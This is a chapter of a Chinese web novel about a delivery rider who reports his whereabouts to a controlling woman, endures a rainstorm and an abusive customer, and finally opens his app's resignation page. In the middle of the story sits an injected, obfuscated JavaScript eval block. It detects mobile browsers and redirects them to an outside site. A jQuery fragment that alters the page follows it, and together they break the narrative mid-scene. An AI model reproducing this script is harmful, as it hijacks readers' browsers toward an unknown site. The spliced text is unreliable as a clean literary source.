电瓶车在车流中穿行。
早高峰的车流里，顾云舟就是一个不起眼的蓝**。
手机被牢牢固定在车把的支架上，屏幕停留在聊天界面。
顾云舟：已送达xx小区三栋，下一单，五栋。
消息发出。
数秒后，一个鲜红的“阅”字弹了出来。
关掉界面，切回外卖软件，接单，然后拧动车把，冲入下一个路口。
红灯。
他停在斑马线后，看着倒计时。
三十秒。
他熟练地划开手机，点开那个置顶的聊天框。
顾云舟：五栋送达，下一单，前往金源大厦。
发送。
反反复复重复着。
绿灯亮起。
他冲了出去。
x源大厦是市中心的写字楼，魔鬼线路之一，等电梯的时间比送餐还久。
等他满头大汗地从楼里出来，手机震动了一下。
不是新订单。
是她。
萧青鸾：此单耗时过久，何故？
顾云舟捏着手机。
他飞快打字。
顾云舟：电梯人多。
一秒后。
萧青鸾：阅。
他把手机塞回支架，有种把手机连同支架一起捏碎的冲动。
南方的天说变就变。
风刮过，卷起地上的落叶和塑料袋。
顾云舟抬头看了一眼，加快了速度。
雨点砸下来的时候，他正在去往一个老小区的路上。
豆大的雨点，密集地敲打在他的头盔上，发出噼里啪啦的声响。
视线瞬间模糊。
雨衣根本没用，冰冷的雨水顺着领口灌进去，很快半个身子都湿了。
手机屏幕上全是水珠，触控开始失灵。
他把餐送到客户手里时，对方皱着眉看了他一眼，砰地关上了门。
他抹了一把脸上的雨水，低头看手机。
十一点五十五分。
快到午时报备的时间了。
他骑着车，在路边一个公交站台的屋檐下停住。
雨下得更大了，天地间挂着一道白茫茫的水帘。
他脱下头盔，
哆嗦着从口袋里掏出手机，屏幕上的水怎么也擦不干净。
他用力吹了几口气，总算能看清屏幕。
他拨出了那个号码。
“嘟……嘟……”
电话很快被接通。
“先生。”
她的声音很平静，听不出情绪。
“我……”顾云舟开口，声音有点抖，不知道是冻的还是气的，“午时报备。”
电话那头沉默了两秒。
雨声通过听筒传了过去，哗啦啦的，吵得人心烦。
“外面雨势颇大。”她的声音传来，“先生，注意安全。”
顾云舟愣了一下。
这算是……关心？
“知道了。”他含糊地应了一声，就想挂断。
“下一单去何处？”她又问。
那一点点突如其来的暖意瞬间没了。
“城南，幸福里小区。”他报出地名，语气生硬。
“路途遥远，注意时辰。”
“嗯。”
他挂断电话，把手机塞回口袋，戴上头盔。
雨更大了。
小区里，他迟到了十分钟。
一部分是因为雨天路滑，另一部分，是那个该死的掉**订单地址写错了单元号。他在大雨里找了整整五分钟。
他提着餐盒，跑到门口，用力敲门。
门猛地被拉开。
一个光着膀子的壮汉堵在门口，满脸横肉。
“搞咩啊！老子等了快一个小时了！”对方的吼得很大。
“抱歉，雨太大了，而且地址……”
“别给老子找理由！晚了十分钟，菜都凉了！老子要投诉你！投诉到你滚蛋！”
顾云舟提着餐盒的手，缓缓收紧。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16254022|181177||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他松开手。
他低下头。
“对不起。”
他把餐盒递过去。
壮汉一把抢过，砰的一声，把门摔上。
顾云舟在门口站了一秒钟。
他转身，走进雨幕。
晚上七点，他精疲力尽地回到站点。
雨还在下，...
他刚脱下雨衣，
站里的张伟就看见了他，端着个泡面桶走了过来，拍了拍他的肩膀。
“小顾，脸色这么难看？”
顾云舟没说话。
“嗨，别想太多。”张伟吸溜了一口面，“咱们这行就这样，什么鸟都有。忍忍就过去了。”
忍忍就过去了。
顾云舟抬头，看着门外灰蒙蒙的雨。
想起在雨里失灵的手机屏幕。
想起萧青鸾那句“若再有关机失联之状况”。
他突然觉得很可笑。
他拼死拼活，冒着生命危险在雨里穿行，换来的是什么？
是客户的辱骂。
是随时可能被辞退的风险。
是家里那个人越来越严密的控制。
他以为自己接受了就能换来安宁。
可这份工作本身，就是最大的不安宁。
它给不了他想要的安稳。
更给不了萧青鸾需要的安全感。
他看着张伟还在冒着热气的泡面桶，又看了看自己冻得发白的手。
他掏出手机。
屏幕上，萧青鸾一个小时前发来的消息还停留在那里。
萧青鸾：戌时已至。
下面没有他的回复。
他飞快地打字。
顾云舟：在站点，今日工作结束，准备返家。
发送。
他看着消息发出去，然后，他做了一个决定。
他点开外卖软件，进入个人中心，找到了那个他从未想过会去点的按钮。
他盯着那几个字。
离职申请。